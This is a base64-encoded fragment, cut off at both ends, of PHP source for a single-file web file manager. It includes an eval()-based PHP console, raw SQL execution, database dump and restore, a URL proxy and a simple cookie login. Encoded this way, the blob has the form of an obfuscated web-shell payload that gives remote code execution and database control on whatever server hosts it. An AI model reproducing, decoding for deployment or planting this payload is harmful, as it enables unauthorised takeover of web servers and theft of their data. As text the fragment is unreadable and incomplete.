G4sJHNlbD0nJyl7Cglmb3JlYWNoKCRhcnIgYXMgJHYpewoJCSRiPSR2WyRuXTsKCQkkcmVzLj0nPG9wdGlvbiB2YWx1ZT0iJy4kYi4nIiAnLigkc2VsICYmICRzZWw9PSRiPydzZWxlY3RlZCc6JycpLic+Jy4kYi4nPC9vcHRpb24+JzsKCX0KCXJldHVybiAkcmVzOwp9CgpmdW5jdGlvbiBmbV9sYW5nX2Zvcm0gKCRjdXJyZW50PSdlbicpewpyZXR1cm4gJwo8Zm9ybSBuYW1lPSJjaGFuZ2VfbGFuZyIgbWV0aG9kPSJwb3N0IiBhY3Rpb249IiI+Cgk8c2VsZWN0IG5hbWU9ImZtX2xhbmciIHRpdGxlPSInLl9fKCdMYW5ndWFnZScpLiciIG9uY2hhbmdlPSJkb2N1bWVudC5mb3Jtc1tcJ2NoYW5nZV9sYW5nXCddLnN1Ym1pdCgpIiA+CgkJPG9wdGlvbiB2YWx1ZT0iZW4iICcuKCRjdXJyZW50PT0nZW4nPydzZWxlY3RlZD0ic2VsZWN0ZWQiICc6JycpLic+Jy5fXygnRW5nbGlzaCcpLic8L29wdGlvbj4KCQk8b3B0aW9uIHZhbHVlPSJkZSIgJy4oJGN1cnJlbnQ9PSdkZSc/J3NlbGVjdGVkPSJzZWxlY3RlZCIgJzonJykuJz4nLl9fKCdHZXJtYW4nKS4nPC9vcHRpb24+CgkJPG9wdGlvbiB2YWx1ZT0icnUiICcuKCRjdXJyZW50PT0ncnUnPydzZWxlY3RlZD0ic2VsZWN0ZWQiICc6JycpLic+Jy5fXygnUnVzc2lhbicpLic8L29wdGlvbj4KCQk8b3B0aW9uIHZhbHVlPSJmciIgJy4oJGN1cnJlbnQ9PSdmcic/J3NlbGVjdGVkPSJzZWxlY3RlZCIgJzonJykuJz4nLl9fKCdGcmVuY2gnKS4nPC9vcHRpb24+CgkJPG9wdGlvbiB2YWx1ZT0idWsiICcuKCRjdXJyZW50PT0ndWsnPydzZWxlY3RlZD0ic2VsZWN0ZWQiICc6JycpLic+Jy5fXygnVWtyYWluaWFuJykuJzwvb3B0aW9uPgoJPC9zZWxlY3Q+CjwvZm9ybT4KJzsKfQoJCmZ1bmN0aW9uIGZtX3Jvb3QoJGRpcm5hbWUpewoJcmV0dXJuICgkZGlybmFtZT09Jy4nIE9SICRkaXJuYW1lPT0nLi4nKTsKfQoKZnVuY3Rpb24gZm1fcGhwKCRzdHJpbmcpewoJJGRpc3BsYXlfZXJyb3JzPWluaV9nZXQoJ2Rpc3BsYXlfZXJyb3JzJyk7Cglpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsICcxJyk7CglvYl9zdGFydCgpOwoJZXZhbCh0cmltKCRzdHJpbmcpKTsKCSR0ZXh0ID0gb2JfZ2V0X2NvbnRlbnRzKCk7CglvYl9lbmRfY2xlYW4oKTsKCWluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgJGRpc3BsYXlfZXJyb3JzKTsKCXJldHVybiAkdGV4dDsKfQoKLy9TSE9XIERBVEFCQVNFUwpmdW5jdGlvbiBmbV9zcWxfY29ubmVjdCgpewoJZ2xvYmFsICRmbV9jb25maWc7CglyZXR1cm4gbmV3IG15c3FsaSgkZm1fY29uZmlnWydzcWxfc2VydmVyJ10sICRmbV9jb25maWdbJ3NxbF91c2VybmFtZSddLCAkZm1fY29uZmlnWydzcWxfcGFzc3dvcmQnXSwgJGZtX2NvbmZpZ1snc3FsX2RiJ10pOwp9CgpmdW5jdGlvbiBmbV9zcWwoJHF1ZXJ5KXsKCWdsb2JhbCAkZm1fY29uZmlnOwoJJHF1ZXJ5PXRyaW0oJHF1ZXJ5KTsKCW9iX3N0YXJ0KCk7CgkkY29ubmVjdGlvbiA9IGZtX3NxbF9jb25uZWN0KCk7CglpZiAoJGNvbm5lY3Rpb24tPmNvbm5lY3RfZXJyb3IpIHsKCQlvYl9lbmRfY2xlYW4oKTsJCgkJcmV0dXJuICRjb25uZWN0aW9uLT5jb25uZWN0X2Vycm9yOwoJfQoJJGNvbm5lY3Rpb24tPnNldF9jaGFyc2V0KCd1dGY4Jyk7CiAgICAkcXVlcmllZCA9IG15c3FsaV9xdWVyeSgkY29ubmVjdGlvbiwkcXVlcnkpOwoJaWYgKCRxdWVyaWVkPT09ZmFsc2UpIHsKCQlvYl9lbmRfY2xlYW4oKTsJCgkJcmV0dXJuIG15c3FsaV9lcnJvcigkY29ubmVjdGlvbik7CiAgICB9IGVsc2UgewoJCWlmKCFlbXB0eSgkcXVlcmllZCkpewoJCQl3aGlsZSgkcm93ID0gbXlzcWxpX2ZldGNoX2Fzc29jKCRxdWVyaWVkKSkgewoJCQkJJHF1ZXJ5X3Jlc3VsdFtdPSAgJHJvdzsKCQkJfQoJCX0KCQkkdmR1bXA9ZW1wdHkoJHF1ZXJ5X3Jlc3VsdCk/Jyc6dmFyX2V4cG9ydCgkcXVlcnlfcmVzdWx0LHRydWUpOwkKCQlvYl9lbmRfY2xlYW4oKTsJCgkJJGNvbm5lY3Rpb24tPmNsb3NlKCk7CgkJcmV0dXJuICc8cHJlPicuc3RyaXBzbGFzaGVzKCR2ZHVtcCkuJzwvcHJlPic7Cgl9Cn0KCmZ1bmN0aW9uIGZtX2JhY2t1cF90YWJsZXMoJHRhYmxlcyA9ICcqJywgJGZ1bGxfYmFja3VwID0gdHJ1ZSkgewoJZ2xvYmFsICRwYXRoOwoJJG15c3FsZGIgPSBmbV9zcWxfY29ubmVjdCgpOwoJJGRlbGltaXRlciA9ICI7IFxuICBcbiI7CglpZigkdGFibGVzID09ICcqJykJewoJCSR0YWJsZXMgPSBhcnJheSgpOwoJCSRyZXN1bHQgPSAkbXlzcWxkYi0+cXVlcnkoJ1NIT1cgVEFCTEVTJyk7CgkJd2hpbGUoJHJvdyA9IG15c3FsaV9mZXRjaF9yb3coJHJlc3VsdCkpCXsKCQkJJHRhYmxlc1tdID0gJHJvd1swXTsKCQl9Cgl9IGVsc2UgewoJCSR0YWJsZXMgPSBpc19hcnJheSgkdGFibGVzKSA/ICR0YWJsZXMgOiBleHBsb2RlKCcsJywkdGFibGVzKTsKCX0KICAgIAoJJHJldHVybj0nJzsKCWZvcmVhY2goJHRhYmxlcyBhcyAkdGFibGUpCXsKCQkkcmVzdWx0ID0gJG15c3FsZGItPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NICcuJHRhYmxlKTsKCQkkbnVtX2ZpZWxkcyA9IG15c3FsaV9udW1fZmllbGRzKCRyZXN1bHQpOwoJCSRyZXR1cm4uPSAnRFJPUCBUQUJMRSBJRiBFWElTVFMgYCcuJHRhYmxlLidgJy4kZGVsaW1pdGVyOwoJCSRyb3cyID0gbXlzcWxpX2ZldGNoX3JvdygkbXlzcWxkYi0+cXVlcnkoJ1NIT1cgQ1JFQVRFIFRBQkxFICcuJHRhYmxlKSk7CgkJJHJldHVybi49JHJvdzJbMV0uJGRlbGltaXRlcjsKICAgICAgICBpZiAoJGZ1bGxfYmFja3VwKSB7CgkJZm9yICgkaSA9IDA7ICRpIDwgJG51bV9maWVsZHM7ICRpKyspICB7CgkJCXdoaWxlKCRyb3cgPSBteXNxbGlfZmV0Y2hfcm93KCRyZXN1bHQpKSB7CgkJCQkkcmV0dXJuLj0gJ0lOU0VSVCBJTlRPIGAnLiR0YWJsZS4nYCBWQUxVRVMoJzsKCQkJCWZvcigkaj0wOyAkajwkbnVtX2ZpZWxkczsgJGorKykJewoJCQkJCSRyb3dbJGpdID0gYWRkc2xhc2hlcygkcm93WyRqXSk7CgkJCQkJJHJvd1skal0gPSBzdHJfcmVwbGFjZSgiXG4iLCJcXG4iLCRyb3dbJGpdKTsKCQkJCQlpZiAoaXNzZXQoJHJvd1skal0pKSB7ICRyZXR1cm4uPSAnIicuJHJvd1skal0uJyInIDsgfSBlbHNlIHsgJHJldHVybi49ICciIic7IH0KCQkJCQlpZiAoJGo8KCRudW1fZmllbGRzLTEpKSB7ICRyZXR1cm4uPSAnLCc7IH0KCQkJCX0KCQkJCSRyZXR1cm4uPSAnKScuJGRlbGltaXRlcjsKCQkJfQoJCSAgfQoJCX0gZWxzZSB7IAoJCSRyZXR1cm4gPSBwcmVnX3JlcGxhY2UoIiNBVVRPX0lOQ1JFTUVOVD1bXGRdKyAjaXMiLCAnJywgJHJldHVybik7CgkJfQoJCSRyZXR1cm4uPSJcblxuXG4iOwoJfQoKCS8vc2F2ZSBmaWxlCiAgICAkZmlsZT1nbWRhdGUoIlktbS1kX0gtaS1zIix0aW1lKCkpLicuc3FsJzsKCSRoYW5kbGUgPSBmb3BlbigkZmlsZSwndysnKTsKCWZ3cml0ZSgkaGFuZGxlLCRyZXR1cm4pOwoJZmNsb3NlKCRoYW5kbGUpOwoJJGFsZXJ0ID0gJ29uQ2xpY2s9ImlmKGNvbmZpcm0oXCcnLiBfXygnRmlsZSBzZWxlY3RlZCcpLic6IFxuJy4gJGZpbGUuICcuIFxuJy5fXygnQXJlIHlvdSBzdXJlIHlvdSB3YW50IHRvIGRlbGV0ZSB0aGlzIGZpbGU/JykgLiAnXCcpKSBkb2N1bWVudC5sb2NhdGlvbi5ocmVmID0gXCc/ZGVsZXRlPScgLiAkZmlsZSAuICcmcGF0aD0nIC4gJHBhdGggIC4gJ1wnIic7CiAgICByZXR1cm4gJGZpbGUuJzogJy5mbV9saW5rKCdkb3dubG9hZCcsJHBhdGguJGZpbGUsX18oJ0Rvd25sb2FkJyksX18oJ0Rvd25sb2FkJykuJyAnLiRmaWxlKS4nIDxhIGhyZWY9IiMiIHRpdGxlPSInIC4gX18oJ0RlbGV0ZScpIC4gJyAnLiAkZmlsZSAuICciICcgLiAkYWxlcnQgLiAnPicgLiBfXygnRGVsZXRlJykgLiAnPC9hPic7Cn0KCmZ1bmN0aW9uIGZtX3Jlc3RvcmVfdGFibGVzKCRzcWxGaWxlVG9FeGVjdXRlKSB7CgkkbXlzcWxkYiA9IGZtX3NxbF9jb25uZWN0KCk7CgkkZGVsaW1pdGVyID0gIjsgXG4gIFxuIjsKICAgIC8vIExvYWQgYW5kIGV4cGxvZGUgdGhlIHNxbCBmaWxlCiAgICAkZiA9IGZvcGVuKCRzcWxGaWxlVG9FeGVjdXRlLCJyKyIpOwogICAgJHNxbEZpbGUgPSBmcmVhZCgkZixmaWxlc2l6ZSgkc3FsRmlsZVRvRXhlY3V0ZSkpOwogICAgJHNxbEFycmF5ID0gZXhwbG9kZSgkZGVsaW1pdGVyLCRzcWxGaWxlKTsKCQogICAgLy9Qcm9jZXNzIHRoZSBzcWwgZmlsZSBieSBzdGF0ZW1lbnRzCiAgICBmb3JlYWNoICgkc3FsQXJyYXkgYXMgJHN0bXQpIHsKICAgICAgICBpZiAoc3RybGVuKCRzdG10KT4zKXsKCQkJJHJlc3VsdCA9ICRteXNxbGRiLT5xdWVyeSgkc3RtdCk7CgkJCQlpZiAoISRyZXN1bHQpewoJCQkJCSRzcWxFcnJvckNvZGUgPSBteXNxbGlfZXJybm8oJG15c3FsZGItPmNvbm5lY3Rpb24pOwoJCQkJCSRzcWxFcnJvclRleHQgPSBteXNxbGlfZXJyb3IoJG15c3FsZGItPmNvbm5lY3Rpb24pOwoJCQkJCSRzcWxTdG10ICAgICAgPSAkc3RtdDsKCQkJCQlicmVhazsKICAgICAgICAgICAJICAgICB9CiAgICAgICAgICAgCSAgfQogICAgICAgICAgIH0KaWYgKGVtcHR5KCRzcWxFcnJvckNvZGUpKSByZXR1cm4gX18oJ1N1Y2Nlc3MnKS4nIOKAlCAnLiRzcWxGaWxlVG9FeGVjdXRlOwplbHNlIHJldHVybiAkc3FsRXJyb3JUZXh0Lic8YnIvPicuJHN0bXQ7Cn0KCmZ1bmN0aW9uIGZtX2ltZ19saW5rKCRmaWxlbmFtZSl7CglyZXR1cm4gJy4vJy5iYXNlbmFtZShfX0ZJTEVfXykuJz9pbWc9Jy5iYXNlNjRfZW5jb2RlKCRmaWxlbmFtZSk7Cn0KCmZ1bmN0aW9uIGZtX2hvbWVfc3R5bGUoKXsKCXJldHVybiAnCmlucHV0LCBpbnB1dC5mbV9pbnB1dCB7Cgl0ZXh0LWluZGVudDogMnB4Owp9CgppbnB1dCwgdGV4dGFyZWEsIHNlbGVjdCwgaW5wdXQuZm1faW5wdXQgewoJY29sb3I6IGJsYWNrOwoJZm9udDogbm9ybWFsIDhwdCBWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmOwoJYm9yZGVyLWNvbG9yOiBibGFjazsKCWJhY2tncm91bmQtY29sb3I6ICNGQ0ZDRkMgbm9uZSAhaW1wb3J0YW50OwoJYm9yZGVyLXJhZGl1czogMDsKCXBhZGRpbmc6IDJweDsKfQoKaW5wdXQuZm1faW5wdXQgewoJYmFja2dyb3VuZDogI0ZDRkNGQyBub25lICFpbXBvcnRhbnQ7CgljdXJzb3I6IHBvaW50ZXI7Cn0KCi5ob21lIHsKCWJhY2tncm91bmQtaW1hZ2U6IHVybCgiZGF0YTppbWFnZS9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCQUFBQUFRQ0FNQUFBQW9MUTlUQUFBQUJHZEJUVUVBQUsvSU53V0s2UUFBQWdSUVRGUkYvZjM5Nk9qby8vLy90VDAyenIrZnc2NlJ0ajQzMlRFcDNNWEUyREFyM1RZcDF5NG10RHcyLzdCTS83Qk9xVnBjLzhsMzFqY3FxNmVud2NIQjJUZ2k1amdxVnBiRnZyYTJuQkFWL1B6ODJTMGpueDBXM1RVa3FTZ2k0ZUhoNFRzcmU0d29zejAyNnVQanpHWWQ2VXMzeW5BeWRVQkE1S2wzZm01ZXFaYVc3T0RnaTJWZytQajR1WStFd0xtNWJZOVUvLzdqZkx0Qyt0T0szamNtLzcxdTJqWW8xVVloNWFKbC9zZUMzakVtMTJrbUpySUExak1tLzlhVTRMaDBlMDFCbElhRS8vL2RoTWRDN0lBLy9mVFoyYzNNVzZuTjMwd2Y5NVZkNEpkWG9YVm9zOG5FNGVmTi8rNjNJSmdTbllobDdGNGNzWHQ4OUdRVXdMKy9qbDFjNDFBcStmYjJnbXRJMXJLYTJDNGtKYUlBM2pZcmxUdzV0ajQyM2pZbjNjWEUxelFveE1IQnAxbFozRGdtcWlrcy8rbWNqTEs4M2pZa3ltTVYzVFlrLy9ITSt1N1dobXRyMG9kVHBhT2pmV0pmckhwZy84QnMvN3RXLzdWZSs0VTUyRE1tM01MQm40cUxnTlZNNk16QjNsRWZsSXVMLytqQS8vLzIwTE96alh4OC83bGJXcEpHMkM4azNUb3NKS01BMXl3am9wT1IxellwNURzcGlheSt5S05ocUtTazhOVzYvZmpuczdPejJ0blp1ejg4N2IrVzNhUlkvK21zNHJDRTNUb3Q3Vjg1Ykt4anVFQTN3NDVWaDV1aHE2YW00Y0Z4Z1paVy85cUl1d2dLeTBzVyt1alQ0VFFudHo0MjNDOGkzelVqLytLdy9hNWQ2VU14dUw2d3pERXIvLy8vY3FKUWZBQUFBS3gwVWs1VC8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vL0FBV1ZGYkVBQUFBWmRFVllkRk52Wm5SM1lYSmxBRUZrYjJKbElFbHRZV2RsVW1WaFpIbHh5V1U4QUFBQTJVbEVRVlFvVTJOWWpRWVlzQWlFOFU5WXpEWWpWcEdaUnhNaUVDaXRNclZadm9NclRsUTJFU1JRSjJGVndpbllibXFUVUxvb2huRTFnMWFLR1MvZk5NdGs0MHlaOUtWTFFoZ1lrdVk3TnhRdlh5SFZGTm5LelI2OXFweEJQTWV6MEVUQVF5VFV2U29nYUlGYVBjTnFWL001ZGhhMlJsMlRpbWI2WitRQkRZMVhOL1NidTh4RkxHM2VMRGZsMlVBQmppbE8xbzAxMlozZWsxbFpWSVdBQW1VVEs2TDBzM3BYK2pqNnB1WjJBd1dVdkJSYXBoc3dNZFV1akNpd0R3YTVWRWRQSTd5blVsYzd2MXFZVVJMcXVmNDJoejQ1Q0JQRHR3QUNybStSRGN4SllBQUFBQUJKUlU1RXJrSmdnZz09Iik7CgliYWNrZ3JvdW5kLXJlcGVhdDogbm8tcmVwZWF0Owp9JzsKfQoKZnVuY3Rpb24gZm1fY29uZmlnX2NoZWNrYm94X3JvdygkbmFtZSwkdmFsdWUpIHsKCWdsb2JhbCAkZm1fY29uZmlnOwoJcmV0dXJuICc8dHI+PHRkIGNsYXNzPSJyb3cxIj48aW5wdXQgaWQ9ImZtX2NvbmZpZ18nLiR2YWx1ZS4nIiBuYW1lPSJmbV9jb25maWdbJy4kdmFsdWUuJ10iIHZhbHVlPSIxIiAnLihlbXB0eSgkZm1fY29uZmlnWyR2YWx1ZV0pPycnOidjaGVja2VkPSJ0cnVlIicpLicgdHlwZT0iY2hlY2tib3giPjwvdGQ+PHRkIGNsYXNzPSJyb3cyIHdob2xlIj48bGFiZWwgZm9yPSJmbV9jb25maWdfJy4kdmFsdWUuJyI+Jy4kbmFtZS4nPC90ZD48L3RyPic7Cn0KCmZ1bmN0aW9uIGZtX3Byb3RvY29sKCkgewoJaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQX1NDSEVNRSddKSkgcmV0dXJuICRfU0VSVkVSWydIVFRQX1NDSEVNRSddLic6Ly8nOwoJaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQUyddKSAmJiAkX1NFUlZFUlsnSFRUUFMnXSA9PSAnb24nKSByZXR1cm4gJ2h0dHBzOi8vJzsKCWlmIChpc3NldCgkX1NFUlZFUlsnU0VSVkVSX1BPUlQnXSkgJiYgJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10gPT0gNDQzKSByZXR1cm4gJ2h0dHBzOi8vJzsKCWlmIChpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9QUk9UTyddKSAmJiAkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9QUk9UTyddID09ICdodHRwcycpIHJldHVybiAnaHR0cHM6Ly8nOwoJcmV0dXJuICdodHRwOi8vJzsKfQoKZnVuY3Rpb24gZm1fc2l0ZV91cmwoKSB7CglyZXR1cm4gZm1fcHJvdG9jb2woKS4kX1NFUlZFUlsnSFRUUF9IT1NUJ107Cn0KCmZ1bmN0aW9uIGZtX3VybCgkZnVsbD1mYWxzZSkgewoJJGhvc3Q9JGZ1bGw/Zm1fc2l0ZV91cmwoKTonLic7CglyZXR1cm4gJGhvc3QuJy8nLmJhc2VuYW1lKF9fRklMRV9fKTsKfQoKZnVuY3Rpb24gZm1faG9tZSgkZnVsbD1mYWxzZSl7CglyZXR1cm4gJyZuYnNwOzxhIGhyZWY9IicuZm1fdXJsKCRmdWxsKS4nIiB0aXRsZT0iJy5fXygnSG9tZScpLiciPjxzcGFuIGNsYXNzPSJob21lIj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8L3NwYW4+PC9hPic7Cn0KCmZ1bmN0aW9uIGZtX3J1bl9pbnB1dCgkbG5nKSB7CglnbG9iYWwgJGZtX2NvbmZpZzsKCSRyZXR1cm4gPSAhZW1wdHkoJGZtX2NvbmZpZ1snZW5hYmxlXycuJGxuZy4nX2NvbnNvbGUnXSkgPyAKCScKCQkJCTxmb3JtICBtZXRob2Q9InBvc3QiIGFjdGlvbj0iJy5mbV91cmwoKS4nIiBzdHlsZT0iZGlzcGxheTppbmxpbmUiPgoJCQkJPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iJy4kbG5nLidydW4iIHZhbHVlPSInLnN0cnRvdXBwZXIoJGxuZykuJyAnLl9fKCdDb25zb2xlJykuJyI+CgkJCQk8L2Zvcm0+CicgOiAnJzsKCXJldHVybiAkcmV0dXJuOwp9CgpmdW5jdGlvbiBmbV91cmxfcHJveHkoJG1hdGNoZXMpIHsKCSRsaW5rID0gc3RyX3JlcGxhY2UoJyZhbXA7JywnJicsJG1hdGNoZXNbMl0pOwoJJHVybCA9IGlzc2V0KCRfR0VUWyd1cmwnXSk/JF9HRVRbJ3VybCddOicnOwoJJHBhcnNlX3VybCA9IHBhcnNlX3VybCgkdXJsKTsKCSRob3N0ID0gJHBhcnNlX3VybFsnc2NoZW1lJ10uJzovLycuJHBhcnNlX3VybFsnaG9zdCddLicvJzsKCWlmIChzdWJzdHIoJGxpbmssMCwyKT09Jy8vJykgewoJCSRsaW5rID0gc3Vic3RyX3JlcGxhY2UoJGxpbmssZm1fcHJvdG9jb2woKSwwLDIpOwoJfSBlbHNlaWYgKHN1YnN0cigkbGluaywwLDEpPT0nLycpIHsKCQkkbGluayA9IHN1YnN0cl9yZXBsYWNlKCRsaW5rLCRob3N0LDAsMSk7CQoJfSBlbHNlaWYgKHN1YnN0cigkbGluaywwLDIpPT0nLi8nKSB7CgkJJGxpbmsgPSBzdWJzdHJfcmVwbGFjZSgkbGluaywkaG9zdCwwLDIpOwkKCX0gZWxzZWlmIChzdWJzdHIoJGxpbmssMCw0KT09J2h0dHAnKSB7CgkJLy9hbGxlcyBtYWNoZW4gd3VuZGVyc2Nob24KCX0gZWxzZSB7CgkJJGxpbmsgPSAkaG9zdC4kbGluazsKCX0gCglpZiAoJG1hdGNoZXNbMV09PSdocmVmJyAmJiAhc3Rycmlwb3MoJGxpbmssICdjc3MnKSkgewoJCSRiYXNlID0gZm1fc2l0ZV91cmwoKS4nLycuYmFzZW5hbWUoX19GSUxFX18pOwoJCSRiYXNlcSA9ICRiYXNlLic/cHJveHk9dHJ1ZSZ1cmw9JzsKCQkkbGluayA9ICRiYXNlcS51cmxlbmNvZGUoJGxpbmspOwoJfSBlbHNlaWYgKHN0cnJpcG9zKCRsaW5rLCAnY3NzJykpewoJCS8v0LrQsNC6LdGC0L4g0YLQvtC20LUg0L/QvtC00LzQtdC90Y/RgtGMINC90LDQtNC+Cgl9CglyZXR1cm4gJG1hdGNoZXNbMV0uJz0iJy4kbGluay4nIic7Cn0KIApmdW5jdGlvbiBmbV90cGxfZm9ybSgkbG5nX3RwbCkgewoJZ2xvYmFsICR7JGxuZ190cGwuJ190ZW1wbGF0ZXMnfTsKCSR0cGxfYXJyID0ganNvbl9kZWNvZGUoJHskbG5nX3RwbC4nX3RlbXBsYXRlcyd9LHRydWUpOwoJJHN0ciA9ICcnOwoJZm9yZWFjaCAoJHRwbF9hcnIgYXMgJGt0cGw9PiR2dHBsKSB7CgkJJHN0ciAuPSAnPHRyPjx0ZCBjbGFzcz0icm93MSI+PGlucHV0IG5hbWU9IicuJGxuZ190cGwuJ19uYW1lW10iIHZhbHVlPSInLiRrdHBsLiciPjwvdGQ+PHRkIGNsYXNzPSJyb3cyIHdob2xlIj48dGV4dGFyZWEgbmFtZT0iJy4kbG5nX3RwbC4nX3ZhbHVlW10iICBjb2xzPSI1NSIgcm93cz0iNSIgY2xhc3M9InRleHRhcmVhX2lucHV0Ij4nLiR2dHBsLic8L3RleHRhcmVhPiA8aW5wdXQgbmFtZT0iZGVsXycucmFuZCgpLiciIHR5cGU9ImJ1dHRvbiIgb25DbGljaz0idGhpcy5wYXJlbnROb2RlLnBhcmVudE5vZGUucmVtb3ZlKCk7IiB2YWx1ZT0iJy5fXygnRGVsZXRlJykuJyIvPjwvdGQ+PC90cj4nOwoJfQpyZXR1cm4gJwo8dGFibGU+Cjx0cj48dGggY29sc3Bhbj0iMiI+Jy5zdHJ0b3VwcGVyKCRsbmdfdHBsKS4nICcuX18oJ3RlbXBsYXRlcycpLicgJy5mbV9ydW5faW5wdXQoJGxuZ190cGwpLic8L3RoPjwvdHI+Cjxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiB2YWx1ZT0iJy4kbG5nX3RwbC4nIiBuYW1lPSJ0cGxfZWRpdGVkIj4KPHRyPjx0ZCBjbGFzcz0icm93MSI+Jy5fXygnTmFtZScpLic8L3RkPjx0ZCBjbGFzcz0icm93MiB3aG9sZSI+Jy5fXygnVmFsdWUnKS4nPC90ZD48L3RyPgonLiRzdHIuJwo8dHI+PHRkIGNvbHNwYW49IjIiIGNsYXNzPSJyb3czIj48aW5wdXQgbmFtZT0icmVzIiB0eXBlPSJidXR0b24iIG9uQ2xpY2s9ImRvY3VtZW50LmxvY2F0aW9uLmhyZWYgPSBcJycuZm1fdXJsKCkuJz9mbV9zZXR0aW5ncz10cnVlXCc7IiB2YWx1ZT0iJy5fXygnUmVzZXQnKS4nIi8+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSInLl9fKCdTYXZlJykuJyIgPjwvdGQ+PC90cj4KPC9mb3JtPgo8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgdmFsdWU9IicuJGxuZ190cGwuJyIgbmFtZT0idHBsX2VkaXRlZCI+Cjx0cj48dGQgY2xhc3M9InJvdzEiPjxpbnB1dCBuYW1lPSInLiRsbmdfdHBsLidfbmV3X25hbWUiIHZhbHVlPSIiIHBsYWNlaG9sZGVyPSInLl9fKCdOZXcnKS4nICcuX18oJ05hbWUnKS4nIj48L3RkPjx0ZCBjbGFzcz0icm93MiB3aG9sZSI+PHRleHRhcmVhIG5hbWU9IicuJGxuZ190cGwuJ19uZXdfdmFsdWUiICBjb2xzPSI1NSIgcm93cz0iNSIgY2xhc3M9InRleHRhcmVhX2lucHV0IiBwbGFjZWhvbGRlcj0iJy5fXygnTmV3JykuJyAnLl9fKCdWYWx1ZScpLiciPjwvdGV4dGFyZWE+PC90ZD48L3RyPgo8dHI+PHRkIGNvbHNwYW49IjIiIGNsYXNzPSJyb3czIj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iJy5fXygnQWRkJykuJyIgPjwvdGQ+PC90cj4KPC9mb3JtPgo8L3RhYmxlPgonOwp9CgpmdW5jdGlvbiBmaW5kX3RleHRfaW5fZmlsZXMoJGRpciwgJG1hc2ssICR0ZXh0KSB7CiAgICAkcmVzdWx0cyA9IGFycmF5KCk7CiAgICBpZiAoJGhhbmRsZSA9IG9wZW5kaXIoJGRpcikpIHsKICAgICAgICB3aGlsZSAoZmFsc2UgIT09ICgkZW50cnkgPSByZWFkZGlyKCRoYW5kbGUpKSkgewogICAgICAgICAgICBpZiAoJGVudHJ5ICE9ICIuIiAmJiAkZW50cnkgIT0gIi4uIikgewogICAgICAgICAgICAgICAgJHBhdGggPSAkZGlyIC4gIi8iIC4gJGVudHJ5OwogICAgICAgICAgICAgICAgaWYgKGlzX2RpcigkcGF0aCkpIHsKICAgICAgICAgICAgICAgICAgICAkcmVzdWx0cyA9IGFycmF5X21lcmdlKCRyZXN1bHRzLCBmaW5kX3RleHRfaW5fZmlsZXMoJHBhdGgsICRtYXNrLCAkdGV4dCkpOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICBpZiAoZm5tYXRjaCgkbWFzaywgJGVudHJ5KSkgewogICAgICAgICAgICAgICAgICAgICAgICAkY29udGVudHMgPSBmaWxlX2dldF9jb250ZW50cygkcGF0aCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChzdHJwb3MoJGNvbnRlbnRzLCAkdGV4dCkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVzdWx0c1tdID0gc3RyX3JlcGxhY2UoJy8vJywgJy8nLCAkcGF0aCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgY2xvc2VkaXIoJGhhbmRsZSk7CiAgICB9CiAgICByZXR1cm4gJHJlc3VsdHM7Cn0KCgovKiBFbmQgRnVuY3Rpb25zICovCgovLyBhdXRob3JpemF0aW9uCmlmICgkYXV0aFsnYXV0aG9yaXplJ10pIHsKCWlmIChpc3NldCgkX1BPU1RbJ2xvZ2luJ10pICYmIGlzc2V0KCRfUE9TVFsncGFzc3dvcmQnXSkpewoJCWlmICgoJF9QT1NUWydsb2dpbiddPT0kYXV0aFsnbG9naW4nXSkgJiYgKCRfUE9TVFsncGFzc3dvcmQnXT09JGF1dGhbJ3Bhc3N3b3JkJ10pKSB7CgkJCXNldGNvb2tpZSgkYXV0aFsnY29va2llX25hbWUnXSwgJGF1dGhbJ2xvZ2luJ10uJ3wnLm1kNSgkYXV0aFsncGFzc3dvcmQnXSksIHRpbWUoKSArICg4NjQwMCAqICRhdXRoWydkYXlzX2F1dGhvcml6YXRpb24nXSkpOwoJCQkkX0NPT0tJRVskYXV0aFsnY29va2llX25hbWUnXV09JGF1dGhbJ2xvZ2luJ10uJ3wnLm1kNSgkYXV0aFsncGFzc3dvcmQnXSk7CgkJfQoJfQoJaWYgKCFpc3NldCgkX0NPT0tJRVskYXV0aFsnY29va2llX25hbWUnXV0pIE9SICgkX0NPT0tJRVskYXV0aFsnY29va2llX25hbWUnXV0hPSRhdXRoWydsb2dpbiddLid8Jy5tZDUoJGF1dGhbJ3Bhc3N3b3JkJ10pKSkgewoJCWVjaG8gJwo8IWRvY3R5cGUgaHRtbD4KPGh0bWw+CjxoZWFkPgo8bWV0YSBjaGFyc2V